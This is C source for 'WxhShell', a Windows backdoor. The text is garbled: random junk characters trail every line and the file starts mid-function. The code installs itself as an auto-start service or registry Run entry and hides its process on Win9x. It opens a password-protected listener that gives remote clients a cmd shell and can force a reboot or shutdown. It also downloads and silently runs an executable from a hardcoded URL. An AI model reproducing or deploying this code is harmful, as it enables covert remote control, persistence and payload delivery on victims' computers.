    closesocket(wsh); gutf[Ksu  
    ExitThread(0); Sbjc8V ut  
    } :0(:}V3z\  
    break; BaOPtBYA:  
    } -ei+r#  
  // 关机 1-?TjR  
  case 'd': { p@%H. 5&&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d2tJ=.DI  
    if(Boot(SHUTDOWN)) e\ O&Xe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]OgT4ly  
    else { trM)&aQto  
    closesocket(wsh); og8"#%  
    ExitThread(0); ;N!W|G  
    } bC%}1wwh  
    break; LGPg\g`  
    } bXK$H=S Bz  
  // 获取shell -ZBSkyMGy  
  case 's': {  b~Oc:  
    CmdShell(wsh); F/0x` l  
    closesocket(wsh); H263<^   
    ExitThread(0); 0j2M< W#  
    break; &1ss @-  
  } J3AS"+]  
  // 退出 6x"|,,&MD0  
  case 'x': { $iOkn|~<@W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W0KSLxM  
    CloseIt(wsh); >@L^^ -r  
    break; -mqTlXM  
    } 7"$9js2  
  // 离开 99&PY[f:{  
  case 'q': { T.iVY5^<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r_e]sOCb  
    closesocket(wsh); Ar1X mHq  
    WSACleanup(); 6%2\bI.#  
    exit(1); h!~u^Z.7<  
    break; .DZ8kKY  
        } vm`\0VGSW  
  } 0} Lx}2  
  } `#>JRQ=  
_-bEnF+/0  
  // 提示信息 0O7VM)[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ulxy 4] h  
} n%}Vd `c  
  } h|Udw3N1L  
b5d;_-~d  
  return; ]>k>Z#8E*  
} YlEV@  
IL N0/eH  
// shell模块句柄 \A/??8cgXs  
int CmdShell(SOCKET sock) 8WL*Pr 1I  
{ g)#.|d+  
STARTUPINFO si; L'$;;eM4  
ZeroMemory(&si,sizeof(si)); CAV Q[r5y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; </7_T<He.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =9'px3:'WR  
PROCESS_INFORMATION ProcessInfo; {1]/ok2k5  
char cmdline[]="cmd"; LFV',1+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;c~%:|  
  return 0; Aq"<#:  
} 0I \l_St@  
29GcNiE`T  
// 自身启动模式 !'T,%8']  
int StartFromService(void) i>n)T  
{ hp)k[|u;  
typedef struct 3 tIno!|  
{ <zE~N~;  
  DWORD ExitStatus; 2v9T&xo=  
  DWORD PebBaseAddress; T|FF&|Pk  
  DWORD AffinityMask; d ,!sZ&v  
  DWORD BasePriority; t+`>zux5(T  
  ULONG UniqueProcessId; NamO5(1C  
  ULONG InheritedFromUniqueProcessId; -Rz%<`  
}   PROCESS_BASIC_INFORMATION; R2!_)Rpf  
0-a[[hL?  
PROCNTQSIP NtQueryInformationProcess; q%xq\L.  
3 h~U)mg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _/ Uer }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #_}r)q  
_ZU.;0  
  HANDLE             hProcess; FeAMt  
  PROCESS_BASIC_INFORMATION pbi; 8m poY.E4!  
4ZN&Yf`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C~#ndl Ij  
  if(NULL == hInst ) return 0; G'qGsKf\  
yJ!x`RD),w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o(_~ st<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ); <Le6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZyQ+}rO  
`tb@x ^  
  if (!NtQueryInformationProcess) return 0; +rA:/!b)Y  
 %SSBXWP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z'+k]N9Q^  
  if(!hProcess) return 0; t<QSp6n""  
~'aK[3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gcNpA?mC|u  
o}4J|@Hi|4  
  CloseHandle(hProcess); onOvE Y|R  
WOaj_o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *f4BD||  
if(hProcess==NULL) return 0; ID1/N)5 6  
Mm'q4DV^  
HMODULE hMod; 3S_H hvB  
char procName[255]; YPY'[j(p`n  
unsigned long cbNeeded; 'K0=FPB/@  
A_vf3 *q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V.k2t$@  
oA1d8*i^E  
  CloseHandle(hProcess); 9?xc3F2EBD  
Q:4euhz*  
if(strstr(procName,"services")) return 1; // 以服务启动 R6KS&Ge_  
82bOiN15  
  return 0; // 注册表启动 OVE5:)$x  
} d].(x)|st  
)]?"H  
// 主模块 "ccP,#Y  
int StartWxhshell(LPSTR lpCmdLine) Vg+jF!\7  
{ MCcWRbE5#  
  SOCKET wsl; DY~zi  
BOOL val=TRUE; tLzX L *  
  int port=0; xNaDzu"  
  struct sockaddr_in door; ee=d*)  
N))G/m3  
  if(wscfg.ws_autoins) Install(); &74*CO9B9  
Dm.tYG  
port=atoi(lpCmdLine); #ir~v>J||  
y s3&$G  
if(port<=0) port=wscfg.ws_port; Lb>UraUvL  
07?|"c.  
  WSADATA data; JN Ur?+g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -brn&1oJ  
 !AGjiP$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?+WSYg0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > ,v,4,c  
  door.sin_family = AF_INET; re `B fN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kZsat4r  
  door.sin_port = htons(port); MJ )aY2  
* @QC:1k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h xCt[G@  
closesocket(wsl); \R0&*cnmo  
return 1; U6pG  
} BZP~m=kq  
\Q5Jg  
  if(listen(wsl,2) == INVALID_SOCKET) { 9? #pqw  
closesocket(wsl); Ba9le|c5  
return 1; >$.lM~k  
} *c[X{  
  Wxhshell(wsl); G%V*+Ond  
  WSACleanup(); S$Cht6m  
qOV6Kh)  
return 0; "t{|e6   
&4%j   
} m),3J4(q  
Y-.pslg  
// 以NT服务方式启动 "2}E ARa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fFHT`"bD:  
{ :d7tzYT ^  
DWORD   status = 0; "Zh6j)[o  
  DWORD   specificError = 0xfffffff; DKjkO5R\  
<Q4yN!6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U(.3[x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s5s'$|h"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o+H;ZGT5H  
  serviceStatus.dwWin32ExitCode     = 0; kc3dWWPe  
  serviceStatus.dwServiceSpecificExitCode = 0; 483BrFV  
  serviceStatus.dwCheckPoint       = 0; !Ol>![  
  serviceStatus.dwWaitHint       = 0; 7,sslf2%K  
+~6gP!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QT5,_+ho  
  if (hServiceStatusHandle==0) return; * 7ki$f!  
Kh!h_  
status = GetLastError(); DL^}?Ve  
  if (status!=NO_ERROR) m#E%, rT  
{ Hd1e9Q,:|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .{-&3++WZ  
    serviceStatus.dwCheckPoint       = 0; =]pcC  
    serviceStatus.dwWaitHint       = 0; f?iQ0wv)  
    serviceStatus.dwWin32ExitCode     = status; ^cE|o&Rm;  
    serviceStatus.dwServiceSpecificExitCode = specificError; g|W|>`>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A.!V*1h{  
    return; F+Qp mVU  
  } #1:&uC1vj  
vGK'U*gGD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u0;FQr2  
  serviceStatus.dwCheckPoint       = 0; DQ{Yr>J  
  serviceStatus.dwWaitHint       = 0; tFvc~zz9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AeqxH1%  
} !H`! KBW  
7/ "g} F}Q  
// 处理NT服务事件,比如:启动、停止 AXV+8$ :R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H!y%FaTi  
{ r@_`ob RW;  
switch(fdwControl) 1D42+cy  
{ F[Dhj,C"  
case SERVICE_CONTROL_STOP: SArSi6vF  
  serviceStatus.dwWin32ExitCode = 0; $Ik\^:-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 87P.K Yy  
  serviceStatus.dwCheckPoint   = 0; `ySmzp  
  serviceStatus.dwWaitHint     = 0; @$R[Js%MuO  
  { "y_A xOH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -[cl]H)V  
  } b(lC7Xm  
  return; \vBpH'hR,'  
case SERVICE_CONTROL_PAUSE: @za X\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #C+""qm  
  break; O`nrXC{  
case SERVICE_CONTROL_CONTINUE: 2k,!P6fgl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DP=4<ES%+  
  break; .".xNHR#  
case SERVICE_CONTROL_INTERROGATE: <<@vy{*Hg  
  break; sK~d{)+T  
}; xm@vx}O:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [KIK}:  
} *I0{1cST  
Xg |_  
// 标准应用程序主函数 8iTX}$t\{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Uun2.K  
{ uf;^yQi  
6Sh0%F s  
// 获取操作系统版本 T<*i($ [  
OsIsNt=GetOsVer(); @Oe!*|?mS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qGtXReK  
`nA_WS  
  // 从命令行安装 Z~}=q  
  if(strpbrk(lpCmdLine,"iI")) Install(); >|jSd2_p  
 k~#F@_  
  // 下载执行文件 g>h5NrD N  
if(wscfg.ws_downexe) { =/@c9QaV B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Yvf9dl  
  WinExec(wscfg.ws_filenam,SW_HIDE); jq{rNxdGx  
} (`}O!;/E}  
4e d+'-"m  
if(!OsIsNt) { [\NyBc  
// 如果时win9x,隐藏进程并且设置为注册表启动 yZ t}Jnv  
HideProc(); pEIc ?i*  
StartWxhshell(lpCmdLine); 0Zkb}F2-  
} @&;y0N1xo  
else MF/359r)Et  
  if(StartFromService()) "(/ 1]EH`  
  // 以服务方式启动 24_F`" :-=  
  StartServiceCtrlDispatcher(DispatchTable); \HFeEEKH  
else * ";A~XNx  
  // 普通方式启动 B@Zed Xi  
  StartWxhshell(lpCmdLine); -R 4 t  
-[?q?w!?  
return 0; &) 7umdSgi  
}  ]qCAog  
!n4p*<Y6  
0}]k>ndT  
,mH2S/<}S  
=========================================== :70cOt~Z  
YK#bzu ,!  
>IO}}USm  
IH?.s k  
`As.1@  
/C29^P  
" s }q6@I  
{,p<!Jq~G  
#include <stdio.h> 3X,9K23T  
#include <string.h> I3o6ym-i  
#include <windows.h> RWf4Wh?d  
#include <winsock2.h> )|f!}( p  
#include <winsvc.h> -?n|kSHX  
#include <urlmon.h> ZK4/o  
2bU 3*m^M  
#pragma comment (lib, "Ws2_32.lib") D^P_3 B+  
#pragma comment (lib, "urlmon.lib") i[)H!%RV*  
OpmI" 4{+  
#define MAX_USER   100 // 最大客户端连接数 - 8&M^-  
#define BUF_SOCK   200 // sock buffer v0`E lkaN  
#define KEY_BUFF   255 // 输入 buffer p;Kw$fQ?  
1cWUPVQ  
#define REBOOT     0   // 重启 dC;@ Fn  
#define SHUTDOWN   1   // 关机 -#= v~vE  
,dK<2XP  
#define DEF_PORT   5000 // 监听端口 a%DnRkRr  
;,n{6`  
#define REG_LEN     16   // 注册表键长度 xS]=WO*  
#define SVC_LEN     80   // NT服务名长度 !q!.OQ  
e>1z1Q;_uv  
// 从dll定义API "#^11o8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HjUs}#</  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QcG4~DEX4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MHJH@$|]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iqURlI);P  
z 7OTL<h  
// wxhshell配置信息 k2muHKBlk  
struct WSCFG { %g}ri8  
  int ws_port;         // 监听端口 yU3fM?a  
  char ws_passstr[REG_LEN]; // 口令 HYf&0LT<11  
  int ws_autoins;       // 安装标记, 1=yes 0=no Im i)YC  
  char ws_regname[REG_LEN]; // 注册表键名 _!kL7qJ"  
  char ws_svcname[REG_LEN]; // 服务名 'ek7e.x|V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sI/Jhw)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hzh?w!Ow  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gq4le=,v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BXy g ?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `=8g%O|T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x;2tmof=L  
Nw'i;}0v7r  
}; TyVn5XHl^  
^6`"f  
// default Wxhshell configuration 8R}CvzI  
struct WSCFG wscfg={DEF_PORT, -Zd0[& ']  
    "xuhuanlingzhe", sA=WU(4^  
    1, cLn&b}8'  
    "Wxhshell", )*ocX)AE  
    "Wxhshell", p =_K P9  
            "WxhShell Service", { [ QCuR  
    "Wrsky Windows CmdShell Service", :it52*3=  
    "Please Input Your Password: ", HTuv_kE  
  1, 'H- : >'k  
  "http://www.wrsky.com/wxhshell.exe", :4|ubu  
  "Wxhshell.exe" oHH-joYnn  
    }; uuW._$.A>  
Xl^=&!S>me  
// 消息定义模块 D9^.Eg8W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1:5jUUL8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yUcWX bT@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~YO99PP  
char *msg_ws_ext="\n\rExit."; zX{K\yp  
char *msg_ws_end="\n\rQuit."; qg6283'?  
char *msg_ws_boot="\n\rReboot..."; X}C }  
char *msg_ws_poff="\n\rShutdown..."; +HvEiY  
char *msg_ws_down="\n\rSave to "; -:]_DbF  
jy#'oadS?  
char *msg_ws_err="\n\rErr!"; nS'hdeoW  
char *msg_ws_ok="\n\rOK!"; `) s]T.-  
[O92JT:li  
char ExeFile[MAX_PATH]; @%mJw u  
int nUser = 0; uzjP!qO  
HANDLE handles[MAX_USER]; (F9U`1~4  
int OsIsNt; Ao>] ~r0  
,x#5.Koz  
SERVICE_STATUS       serviceStatus; CPGiKE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G*.}EoA  
kpFt  
// 函数声明 SJ4[n.tPI  
int Install(void); q))r lMo  
int Uninstall(void); . Z 93S|q  
int DownloadFile(char *sURL, SOCKET wsh); CtiTXDc_  
int Boot(int flag); ^)|8N44O  
void HideProc(void); P:,@2el  
int GetOsVer(void); T 2Uu/^  
int Wxhshell(SOCKET wsl); t@dv$W2 "  
void TalkWithClient(void *cs); 6Ap-J~4  
int CmdShell(SOCKET sock); <49Gsm&0  
int StartFromService(void); VnqgN  
int StartWxhshell(LPSTR lpCmdLine); LDilrG)  
"tax  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'a8{YT4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mOm_a9M L  
i> }P V  
// 数据结构和表定义 j?a^fcXB  
SERVICE_TABLE_ENTRY DispatchTable[] = Q7uhz5oZ  
{ WBcnE( zF  
{wscfg.ws_svcname, NTServiceMain}, w Q!C9Gp3e  
{NULL, NULL} VHwAO:+-  
}; IpX.ube  
X6hm,0[  
// 自我安装 PL*Mz(&bf  
int Install(void) -2Bkun4Pt  
{ tkQ#mipAj  
  char svExeFile[MAX_PATH]; /Z':wu\  
  HKEY key; \v|nRn,`-  
  strcpy(svExeFile,ExeFile); 1< 22,  
0^?:Zds  
// 如果是win9x系统,修改注册表设为自启动 K ?R* )_  
if(!OsIsNt) { t]dtBt].:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OQl7#`G!H%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b8Bf,&:ys  
  RegCloseKey(key); ^t X}5i`P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [diUO1p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ST'eJ5P7!5  
  RegCloseKey(key); ;/hR#>ib  
  return 0; =rH' \7T  
    } ] yg3|C;  
  } Q7V*~{  
} Pn&!C*,  
else { T9&-t7:  
TU-aL  
// 如果是NT以上系统,安装为系统服务 .X2fu/}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `;X~$uS  
if (schSCManager!=0) by*?PhfF  
{ hh%f mc  
  SC_HANDLE schService = CreateService K'/,VALp  
  ( 0j@nOj(3  
  schSCManager, aXOW +$,  
  wscfg.ws_svcname, & B CA  
  wscfg.ws_svcdisp, cD&QN9  
  SERVICE_ALL_ACCESS, OD;-0Bj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )uG7 DR  
  SERVICE_AUTO_START, i\h"N K  
  SERVICE_ERROR_NORMAL, O{P@fv%~(o  
  svExeFile, )\xDo<@  
  NULL, 1]DPy+  
  NULL, n:TWZ.9  
  NULL, IF>dsAAI<  
  NULL,  /y2)<{{I  
  NULL "xr=:[n[  
  ); VXfp=JE  
  if (schService!=0) ~tw#Q  
  { |o6g{#1  
  CloseServiceHandle(schService); 8ch^e[U`  
  CloseServiceHandle(schSCManager); te<lCD6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f*(W%#*|  
  strcat(svExeFile,wscfg.ws_svcname); t@_MWF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z30r|Ufh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 84X/=l-c=  
  RegCloseKey(key); w!GPPW(  
  return 0; ;$il_xA)\>  
    } |(evDS5  
  } o.o$dg(r!  
  CloseServiceHandle(schSCManager); G C#s;X  
} c] '-:=  
} M15jwR!:M  
2#y-3y<G  
return 1; ~_XK<}SK  
} KscugX*x  
^8z~`he=_J  
// 自我卸载 ;Z asK0  
int Uninstall(void) ,NA _pvH)  
{ >>>&{>}!  
  HKEY key; j=],n8_i  
N4L#$\M  
if(!OsIsNt) { =sIkA)"!=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .%x1%TN  
  RegDeleteValue(key,wscfg.ws_regname); 8Ry%HV9VE  
  RegCloseKey(key); w>TlM*3D/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P {0iEA|k  
  RegDeleteValue(key,wscfg.ws_regname); h!zev~u1)`  
  RegCloseKey(key); A0A]#=S  
  return 0; n2p(@  
  } g> <*qd?t  
} 8*7,qX  
} O]1aez[  
else { x("V +y*  
0Mo?9??  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XwlF[3VbiX  
if (schSCManager!=0) .@kjC4m  
{ U;q GUqI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "NM SLqO  
  if (schService!=0) Mr}K-C?ge  
  { `0z8J*T]  
  if(DeleteService(schService)!=0) { {;2Gl$\r  
  CloseServiceHandle(schService); u$MXO].Q  
  CloseServiceHandle(schSCManager); kp=wz0#  
  return 0; B]lM69Hz  
  } -|WQs'%O  
  CloseServiceHandle(schService); u]$e@Vw.  
  } fgW>~m.W  
  CloseServiceHandle(schSCManager); g~v>{F+u  
} -"} mmTa*<  
} sVNM#,  
1(`UzC=R|  
return 1; c*N>7IF,  
} ibqJ'@{=e  
_q1b3)`D  
// 从指定url下载文件 (kFg2kG  
int DownloadFile(char *sURL, SOCKET wsh) C8bB OC(  
{ 1R"?X'w  
  HRESULT hr; 6^#@y|.  
char seps[]= "/"; 0<$t9:dq  
char *token; }M|,Z'@*  
char *file; S uo  
char myURL[MAX_PATH]; ^- H  
char myFILE[MAX_PATH]; 6b7SA ,  
Y$K[@_dv=  
strcpy(myURL,sURL); |<Rf^"T  
  token=strtok(myURL,seps); ;UPI%DnE]  
  while(token!=NULL) Ef"M e(  
  { UgC{  
    file=token; iRsK; )<  
  token=strtok(NULL,seps); w\`u |f;Aq  
  } r zO5 3\  
fKkH [  
GetCurrentDirectory(MAX_PATH,myFILE); syB.Z-Cpd  
strcat(myFILE, "\\"); E%np-is{1  
strcat(myFILE, file); p`mNy o'  
  send(wsh,myFILE,strlen(myFILE),0); >oasA2S  
send(wsh,"...",3,0); 1J?x2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q3P*&6wA  
  if(hr==S_OK) 01&J7A2  
return 0; wu`P=-  
else 4PDxmH]y  
return 1; m6iQB\ \  
qrt2BT)  
} uh 3yiDj@a  
rhQv,F9  
// 系统电源模块 w^N3Ma  
int Boot(int flag) ;Q8LA",5d  
{ # *)X+*  
  HANDLE hToken; se ]q~<&  
  TOKEN_PRIVILEGES tkp; n04lTME  
Ow f:Kife  
  if(OsIsNt) { si,W.9rU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JV_V2L1Ut  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F?*ko,  
    tkp.PrivilegeCount = 1; ~Jlo>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j _p|>f<}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5FQtlB9F  
if(flag==REBOOT) { $CP_oEb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S :%SarhBD  
  return 0; EN/e`S$)  
} SM1[)jZ-  
else { YIZ+BVa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \$[; d:9j  
  return 0; n7*.zI]%&  
} ML-?#jNa<  
  } } Rs@  
  else { 7%F8  
if(flag==REBOOT) { \ N;%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c2fqueK|:W  
  return 0; HI%#S&d  
} tShyG! b  
else { *C"-$WU3o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .!Qo+(  
  return 0; H){lXR/#u  
} p|,3X*-ynx  
} -ttH{SslM  
<WCTJ!Z  
return 1; Tn"/EO^N  
} X\ bXat+  
NpN-''B\  
// win9x进程隐藏模块 KE*8Y4#9  
void HideProc(void) l0GsY.~,  
{ O;m@fS2%3  
d&ap u{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lj#K^c Ee  
  if ( hKernel != NULL )  V9cKl[  
  { 8 O% ?t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [zMnlO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7v{s?h->$  
    FreeLibrary(hKernel); #yi&-9B  
  } o b,%); m  
yK"T5^o  
return; >J,y1jzJ  
} s%xhT  
N_^s;Qj  
// 获取操作系统版本 lS!uL9t.  
int GetOsVer(void) 8{ooLdpX7  
{ {Xw6p  
  OSVERSIONINFO winfo; 'vc>uY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rmh 1.W  
  GetVersionEx(&winfo); 2(5<Wj"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i?0+f }5<p  
  return 1; `%oJa`  
  else ;I@@PUnR  
  return 0; v"3($?au0  
} DLBHZ?+!  
j,@@[{tu  
// 客户端句柄模块 X+LG Z4]D  
int Wxhshell(SOCKET wsl) vWpoaz/w  
{ oTLA&dy@  
  SOCKET wsh; (eEs0  
  struct sockaddr_in client; ;2\+O"}4H  
  DWORD myID; ~8l(,N0  
) u Sg;B4  
  while(nUser<MAX_USER) .XTR HL*:  
{ !${7)=|=1  
  int nSize=sizeof(client); IVdM}"+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OJ!=xTU%h  
  if(wsh==INVALID_SOCKET) return 1; ^]{m*bEkR  
MIF`|3$,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YggeKN  
if(handles[nUser]==0) tkj QSz  
  closesocket(wsh); Md[M}d8  
else x4=Sm0Ro|V  
  nUser++; RJhafUJ zH  
  } m(DJ6CSa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =R6IW,*  
2uZ4$_  
  return 0; rU!QXg]uD  
} 1r?hRJ:'  
$LkTu  
// 关闭 socket 9S_PZH  
void CloseIt(SOCKET wsh) kfj)`x  
{ [Rxbb+,U  
closesocket(wsh); Q}6!t$Vk  
nUser--; o!@}&DE|*L  
ExitThread(0); "\`>Ll  
} hteAuz4H  
EJ@&vuDd$  
// 客户端请求句柄 DV{0|E  
void TalkWithClient(void *cs) "&Rt&S  
{ >h3m/aeNC  
XDQ5qfE|  
  SOCKET wsh=(SOCKET)cs; =8V 9E  
  char pwd[SVC_LEN]; dtx3;d<NsJ  
  char cmd[KEY_BUFF]; &m=73 RN  
char chr[1]; HE|XDcYO  
int i,j; ;k |U2ajFJ  
;1AX u/  
  while (nUser < MAX_USER) { ^g SZzJ5  
<{P`A%g@  
if(wscfg.ws_passstr) { GTuxMg`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?RQ_LA;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @s.civ!Yk  
  //ZeroMemory(pwd,KEY_BUFF); 38E %]*5F  
      i=0; E! GH$%:;  
  while(i<SVC_LEN) { ~J:]cy)Q  
q5xF~SQGw2  
  // 设置超时 N@#,YnPI  
  fd_set FdRead; Z_;! f}X  
  struct timeval TimeOut; ? FlQ\q  
  FD_ZERO(&FdRead); kt2W7.A 5  
  FD_SET(wsh,&FdRead); 8AQ__&nT  
  TimeOut.tv_sec=8; pv]2"|]V)  
  TimeOut.tv_usec=0; lc[)O3,,B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,n3e8qd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aY-7K._</  
rU9z? (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lG5KZ[/Or  
  pwd=chr[0]; p?2^JJpUb  
  if(chr[0]==0xd || chr[0]==0xa) { Ji4JP0  
  pwd=0; |/;;uK,y  
  break; Qo~|[]GE  
  } )uu(I5St  
  i++; es^@C9qt  
    } !nU|3S[b  
*7o@HBbF  
  // 如果是非法用户,关闭 socket C2{*m{ D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FBxg^g%PB@  
} fE"-W{M  
zfw=U \  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); />n!2'!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [vqf hpz  
H<") )EJI  
while(1) { "`NAg  
FsLd&$?T&  
  ZeroMemory(cmd,KEY_BUFF); !bs5w_@  
[}HS[($  
      // 自动支持客户端 telnet标准   hof>:Rk  
  j=0; lK_T%1Gz  
  while(j<KEY_BUFF) { K0~=9/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 21O@yNpS$  
  cmd[j]=chr[0]; 22'Ra[  
  if(chr[0]==0xa || chr[0]==0xd) { L*OG2liJ  
  cmd[j]=0; K@%gvLa\  
  break; (&SPMhs_|(  
  } D#P]tt.Z   
  j++; } m"':f  
    } @/,0()*dL  
+ }$(j#h  
  // 下载文件 IrUoAQ2xpG  
  if(strstr(cmd,"http://")) { MOPHu O{^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *j( UAVp  
  if(DownloadFile(cmd,wsh)) d_!}9  
